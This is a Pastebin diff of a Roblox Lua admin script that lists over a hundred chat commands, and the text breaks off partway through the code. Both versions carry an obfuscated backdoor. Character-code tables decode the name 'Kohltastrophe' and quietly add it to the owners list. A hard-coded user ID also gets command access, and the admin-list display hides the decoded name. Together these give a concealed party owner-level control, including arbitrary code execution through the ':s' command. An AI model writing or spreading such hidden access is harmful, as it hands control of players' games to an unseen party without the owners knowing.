View difference between Paste ID: KnqTzRku and QnbMrfuc
SHOW: | | - or go back to the newest paste.
1
--prefix ":"
2
3
--[[
4
--
5
--
6
--
7
--
8
--
9
--
10
--
11
--
12
--
13
--
14
--]]
15-
local owners = {"YOURNAME"} -- Are able to set admins who can ban/etc... using :pa name
15+
local owners = {"jassm11"} -- Are able to set admins who can ban/etc... using :pa name
16
local admins = {" "} -- Sets admins who can use ban/kick/admin or shutdown
17
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
18
local banland = {""} -- Permanently Bans people
19
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
20
local AutoUpdate = true -- Set to false if you don't want it to automatically update
21
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
22
23
24
local VipAdmin = false -- If someone can have admin for owning an item
25
local ItemId = 0 -- The item they must own in order to have admin
26
27
local GroupAdmin = false -- If a certain group can have admin
28
local GroupId = 0 -- Sets the group id that can have admin
29
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
30
---------------------
31
-- Tips and Tricks --
32
---------------------
33
--[[
34
With this admin you can do a command on multiple people at a time;
35
	 :kill me,noob1,noob2,random,team-raiders,nonadmins
36
37
You can also use a variety commands for different people;
38
	 all
39
	 others
40
	 me
41
	 team-
42
	 admins
43
	 nonadmins
44
	 random
45
--]]
46
47
--[[
48
-- |Temp Admin Commands| --
49
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
50
1. :s print("Hello World") -- Lets you script normally
51
2. :ls print("Hello World") -- Lets you script in localscripts
52
3. :clear -- Will remove all scripts/localscripts and jails
53
4. :m Hello People -- This commands will let you shout a message to everyone on the server
54
5. :kill kohl -- Kills the player
55
6. :respawn kohl -- Respawns the player
56
7. :trip kohl -- Trips the player
57
8. :stun kohl -- Stuns the player
58
9. :unstun kohl -- Unstuns the player
59
10. :jump kohl -- Makes the player jump
60
11. :sit kohl -- Makes the player sit
61
12. :invisible kohl -- Makes the player invisible
62
13. :visible kohl -- Makes the player visible
63
14. :explode kohl -- Makes the player explode
64
15. :fire kohl -- Sets the player on fire
65
16. :unfire kohl -- Removes fire from the player
66
17. :smoke kohl -- Adds smoke to the player
67
18. :unsmoke kohl -- Removes smoke from the player
68
19. :sparkles kohl -- Adds sparkles to the player
69
20. :unsparkles kohl -- Removes sparkles from the player
70
21. :ff kohl -- Adds a forcefield to the player
71
22. :unff kohl -- Removes the forcefield from the player
72
23. :punish kohl -- Punishes the player
73
24. :unpunish kohl -- Unpunishes the player
74
25. :freeze kohl -- Freezes the player
75
26. :thaw kohl -- Thaws the player
76
27. :heal kohl -- Heals the player
77
28. :god kohl -- Makes the player have infinite health
78
29. :ungod kohl -- Makes the player have 100 health
79
30. :ambient .5 .5 .5 -- Changes the ambient
80
31. :brightness .5 -- Changes the brightness
81
32. :time 12 -- Changes the time
82
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
83
34. :fogend 100 -- Changes the fogend
84
35. :fogstart 100 -- Changes the fogstart
85
36. :removetools kohl -- Removes all tools from the player
86
37. :btools kohl -- Gives the player building tools
87
38. :give kohl sword -- Gives the player a tool
88
39. :damage kohl -- Damages the player
89
40. :grav kohl -- Sets the player's gravity to normal
90
41. :setgrav kohl 100 -- Sets the player's gravity
91
42. :nograv kohl -- Makes the player have 0 gravity
92
43. :health kohl 1337 -- Changes the player's health
93
44. :speed kohl 1337 -- Changes the player's walkspeed
94
45. :name kohl potato -- Changes the player's name
95
46. :unname kohl -- Remove the player's name
96
47. :team kohl Raiders -- Changes the player's team
97
48. :stopmusic -- Will stop all music playing in the server
98
49. :teleport kohl potato -- Teleports the player
99
50. :change kohl kills 1337 -- Changes a player's stat
100
51. :kick kohl -- Removes the player from the game
101
52. :infect kohl -- Turns the player into a zombie
102
53. :rainbowify kohl -- Turns the player into a rainbow
103
54. :flashify kohl -- Turns the player into a strobe
104
55. :noobify kohl -- Turns the player into a noob
105
56. :ghostify kohl -- Turns the player into a ghost
106
57. :goldify kohl -- Turns the player into gold
107
58. :shiny kohl -- Makes the player shiny
108
59. :normal kohl -- Puts the player back to normal
109
60. :trippy kohl -- Spams random colors on the player's screen
110
61. :untrippy kohl -- Untrippys the player
111
62. :strobe kohl -- Spams white and black on the player's screen
112
63. :unstrobe kohl -- Unstrobes the player
113
64. :blind kohl -- Blinds the player
114
65. :unblind kohl -- Unblinds the player
115
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
116
67. :fling kohl -- Flings the player
117
68. :seizure kohl -- Puts the player in a seizure
118
69. :music 1337 -- Plays a sound from the ID
119
70. :lock kohl -- Locks the player
120
71. :unlock kohl -- Unlocks the player
121
72. :removelimbs kohl -- Removes the player's limbs
122
73. :jail kohl -- Puts the player in a jail
123
74. :unjail kohl -- Removes the jail from the player
124
75. :fix -- This will fix the lighting to it's original settings
125
76. :fly kohl -- Makes the player fly
126
77. :unfly kohl -- Removes fly from the player
127
78. :noclip kohl -- Makes the player able to noclip
128
79. :clip kohl -- Removes noclipping from the player
129
80. :pm kohl Hey bro -- Sends the player a private message
130
81. :dog kohl -- Turns the player into a dog
131
82. :undog kohl -- Turns the player back to normal
132
83. :creeper kohl -- Turns the player into a creeper
133
84. :uncreeper kohl -- Turns the player back to normal
134
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
135
86. :char kohl 261 -- Will make a player look like a different player ID
136
87. :unchar kohl -- Will return the player back to normal
137
88. :h Hello People -- This will shout a hint to everyone
138
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
139
90. :starttools kohl -- Will give the player starter tools
140
91. :sword kohl -- Will give the player a sword
141
92. :bighead kohl -- Will make the player's head larger than normal
142
93. :minihead kohl -- Will make the player's head smaller than normal
143
94. :insert 1337 -- Will insert a model at the speaker's position
144
95. :disco -- Will make the server flash random colors
145
96. :flash -- Will make the server flash
146
97. :admins -- Shows the admin list
147
98. :bans -- Shows the banlist
148
99. :musiclist -- Shows the music list
149
100. :spin kohl -- Spins the player
150
101. :cape kohl Really black -- Gives the player a colored cape
151
102. :uncape kohl -- Removes the player's cape
152
103. :loopheal kohl -- Will constantly heal the player
153
104. :loopfling kohl -- Will constantly fling the player
154
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
155
106. :unloopheal kohl -- Will remove the loopheal on the player
156
107. :unloopfling kohl -- Will remove the loopfling on the player
157
108. :unspin kohl -- Removes spin from the player
158
109. :tools -- Gives a list of the tools in the lighting
159
110. :undisco -- Removes disco effects
160
111. :unflash -- Removes flash effects
161
112. :resetstats kohl -- Sets all the stats of a player to 0
162
113. :gear kohl 1337 -- Gives a player a gear
163
114. :cmdbar -- Gives the speaker a command bar
164
115. :shirt kohl 1337 -- Changes the player's shirt
165
116. :pants kohl 1337 -- Changes the player's pants
166
117. :face kohl 1337 -- Changes the player's face
167
118. :swagify kohl -- Swagifies the player
168
119. :version -- Shows the current version of the admin
169
120. :tm 1337 yolo -- Shows a message for 1337 seconds
170
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
171
122. :clone kohl -- Creates a clone of the player
172
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
173
124. :startergive kohl epic -- Gives a player a gear in their starterpack
174
125. :control kohl -- Controls a player
175
176
-- |Admin Commands| --
177
- :serverlock -- Locks the server
178
- :serverunlock -- Unlocks the server
179
- :sm Hello World -- Creates a system message
180
- :crash kohl -- Crashes a player
181
- :admin kohl -- Admins a player
182
- :unadmin kohl -- Unadmins a player
183
- :ban kohl -- Bans a player
184
- :unban kohl -- Unbans a player
185
- :loopkill kohl -- Will constantly kill the player
186
- :unloopkill kohl -- Will remove the loopkill on the player
187
- :logs -- Will show all of the commands any admin has used in a game session
188
- :shutdown -- Shutsdown the server
189
190
-- |Owner Commands| --
191
- :pa kohl -- Makes someone a super admin
192
- :unpa kohl -- Removes a super admin
193
- :nuke kohl -- Creates a nuke on kohl
194
195
-- |True Owner Commands| --
196
- :oa kohl -- Makes someone an owner
197
- :unoa kohl -- Removes an owner
198
- :settings -- Shows settings for the commands
199
--
200
---------------------
201
--   Main Script   --
202
---------------------]]
203
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end 
204
205
function CHEESE()
206
if game:service("Lighting"):findFirstChild("KACV2") then
207
owners = {} admins = {} tempadmins = {} banland = {}
208
for i,v in pairs(game.Lighting.KACV2:children()) do
209
if v.Name == "Owner" then table.insert(owners, v.Value) end
210
if v.Name == "Admin" then table.insert(admins, v.Value) end
211
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
212
if v.Name == "Banland" then table.insert(banland, v.Value) end
213
if v.Name == "Prefix" then prefix = v.Value end
214
if v.Name == "FunCommands" then FunCommands = v.Value end
215
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
216
if v.Name == "GroupId" then GroupId = v.Value end
217
if v.Name == "GroupRank" then GroupRank = v.Value end
218
if v.Name == "VipAdmin" then VipAdmin = v.Value end
219
if v.Name == "ItemId" then ItemId = v.Value end
220
end
221
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
222
end
223
224
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
225
local lobjs = {}
226
local objects = {}
227
local logs = {}
228
local nfs = ""
229
local slock = false
230
231
function GetTime()
232
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
233
if min < 10 then min = "0"..min end
234
return hour..":"..min
235
end
236
237
function ChkOwner(str)
238
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
239
return false
240
end
241
242
function ChkAdmin(str,ck) 
243
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end 
244
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end 
245
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end 
246
return false 
247
end
248
249
function ChkGroupAdmin(plr)
250
if GroupAdmin then
251
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
252
return false
253
end
254
end
255
256
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
257
258
function GetPlr(plr, str)
259
local plrz = {} str = str:lower()
260
if str == "all" then plrz = game.Players:children()
261
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
262
else
263
local sn = {1} local en = {}
264
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
265
for x = 1, #sn do 
266
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
267
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
268
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
269
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
270
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
271
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then 
272
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
273
end end end
274
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
275
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then 
276
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
277
end end end
278
else
279
for a, plyr in pairs(game.Players:children()) do 
280
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then 
281
table.insert(plrz, plyr) break
282
end
283
end 
284
end
285
end
286
end
287
return plrz
288
end
289
290
function Hint(str, plrz, time)
291
for i, v in pairs(plrz) do
292
if v and v:findFirstChild("PlayerGui") then
293
coroutine.resume(coroutine.create(function()
294
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
295
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
296
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
297
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
298
if not time then wait((#str/19)+2.5) else wait(time) end
299
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
300
end))
301
end
302
end
303
end
304
305
function Message(ttl, str, scroll, plrz, time)
306
for i, v in pairs(plrz) do
307
if v and v:findFirstChild("PlayerGui") then
308
coroutine.resume(coroutine.create(function()
309
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
310
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
311
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
312
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
313
scr.Parent = v.PlayerGui
314
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) 
315
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
316
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
317
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
318
end))
319
end
320
end
321
end
322
323
function RemoveMessage() 
324
for i,v in pairs(game.Players:children()) do 
325
if v and v:findFirstChild("PlayerGui") then 
326
for q,ms in pairs(v.PlayerGui:children()) do
327
if ms.Name == "MessageGUI" then
328
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
329
elseif ms.Name == "HintGUI" then
330
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
331
end
332
end
333
end
334
end
335
end
336
337
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
338
_G["RemoveMessage"] = RemoveMessage()
339
340
function Output(str, plr)
341
coroutine.resume(coroutine.create(function()
342
local b, e = loadstring(str)
343
if not b and plr:findFirstChild("PlayerGui") then
344
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
345
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
346
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
347
return
348
end
349
end))
350
end
351
352
function Noobify(char)
353
if char and char:findFirstChild("Torso") then 
354
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
355
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
356
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
357
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
358
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
359
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
360
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
361
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
362
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
363
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
364
end end
365
end
366
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
367
368
function Infect(char)
369
if char and char:findFirstChild("Torso") then 
370
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
371
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
372
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
373
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
374
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
375
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
376
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) 
377
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) 
378
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
379
end end
380
end
381
end if not ntab then script:Destroy() end
382
383
function ScrollGui()
384
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
385
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
386
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
387
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
388
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
389
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
390
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
391
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
392
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
393
local num = 0
394
local downv = false
395
local upv = false
396
397
down.MouseButton1Down:connect(function() downv = true upv = false
398
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
399
repeat  pos = pos + UDim2.new(0,0,0,-6)
400
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
401
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
402
end) 
403
down.MouseButton1Up:connect(function() downv = false end)
404
up.MouseButton1Down:connect(function() upv = true downv = false
405
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
406
repeat  pos = pos + UDim2.new(0,0,0,6)
407
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
408
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
409
end) 
410
up.MouseButton1Up:connect(function() upv = false end)
411
return scr, cmf, ent, num
412
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
413
if not ntab then script:Destroy() end
414
if not bct then script:Destroy() end
415
416
function Chat(msg,plr)
417
coroutine.resume(coroutine.create(function()
418
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
419
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
420
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
421
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
422
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
423
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
424
if msg:lower() == "cmds" or msg:lower() == "commands" then
425
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
426
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
427
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
428
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
429
local ost = {"pa plr","unpa plr","nuke plr"}
430
local tost = {"oa plr","unoa plr","settings"}
431
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
432
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
433
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
434
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
435
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
436
end
437
438
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
439
440
if msg:lower() == "admins" or msg:lower() == "adminlist" then
441
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
442
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
443
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
444
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
445
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
446
end end
447
448
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
449
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
450
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
451
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
452
end
453
454
if msg:lower() == "tools" or msg:lower() == "toollist" then
455
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
456
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
457
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
458
end
459
460
if msg:lower():sub(1,2) == "s " then
461
coroutine.resume(coroutine.create(function()
462
Output(msg:sub(3), plr)
463
if script:findFirstChild("ScriptBase") then
464
